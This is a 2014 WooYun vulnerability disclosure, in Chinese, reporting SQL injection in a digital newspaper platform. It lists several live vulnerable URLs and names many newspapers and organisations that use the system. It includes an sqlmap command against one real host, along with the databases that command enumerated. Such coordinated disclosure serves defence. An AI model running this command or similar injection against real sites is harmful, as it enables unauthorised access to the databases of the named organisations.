漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-075231
漏洞标题：某报刊系统SQL注射（影响大量知名报社）
相关厂商：cncert国家互联网应急中心
漏洞作者： X防部
提交时间：2014-09-09 12:29
修复时间：2014-12-08 12:32
公开时间：2014-12-08 12:32
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-09： 细节已通知厂商并且等待厂商处理中
2014-09-14： 厂商已经确认，细节仅向厂商公开
2014-09-17： 细节向第三方安全合作伙伴开放
2014-11-08： 细节向核心白帽子及相关领域专家公开
2014-11-18： 细节向普通白帽子公开
2014-11-28： 细节向实习白帽子公开
2014-12-08： 细节向公众公开
简要描述：
某报刊系统SQL注射（影响大量知名报社！）
详细说明：
部分网站射点:
朝阳日报社（很出名吧？）：
http://www.eydcb.cn/blue_show.aspx?paperName=%E7%87%95%E9%83%BD%E6%99%A8%E6%8A%A5&qnum=2714
http://zsjggw.xnu.edu.cn/blue_show.aspx?paperName=%e6%b9%98%e5%8d%97%e5%ad%a6%e9%99%a2%e6%8b%9b%e7%94%9f%e7%ae%80%e7%ab%a0&qnum=2014
http://p.xyhuatai.com/blue_show.aspx?paperName=%E5%92%B8%E9%98%B3%E5%8D%8E%E6%B3%B0%E5%86%85%E5%88%8A&qnum=2013058
http://p.hsort.com/blue_show.aspx?paperName=%E4%BB%8A%E6%97%A5%E9%9D%92%E5%B7%9D%E6%95%B0%E5%AD%97%E6%8A%A5%EF%BC%8C%E7%94%B5%E5%AD%90%E6%8A%A5&qnum=1
其他采用该程序的报社：
•人民大学数字报刊
•检察风云杂志数字报刊系
•盛元数字报纸
•秀山报电子版
•包头文化数字报刊
。大方报
•大同新闻网数字报刊
•江苏永钢集团数字报刊
•黑龙江经济报数字版
•东港通讯
•德汇实业数字报刊系统
•国投大同数字报刊系统
•西安曲江文化集团
•朝阳日报
•香格里人数字报刊
等等。。。。
利用演示：
以朝阳日报为例：
sqlmap.py -u "http://p.xyhuatai.com/blue_show.aspx?paperName=
%E5%92%B8%E9%98%B3%E5%8D%8E%E6%B3%B0%E5%86%85%E5%88%8A&qnum=2013058" --dbs
available databases [7]:
[*] baokan
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
漏洞证明：
修复方案：
版权声明：转载请注明来源 X防部@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：18
确认时间：2014-09-14 09:46
厂商回复：
最新状态：
暂无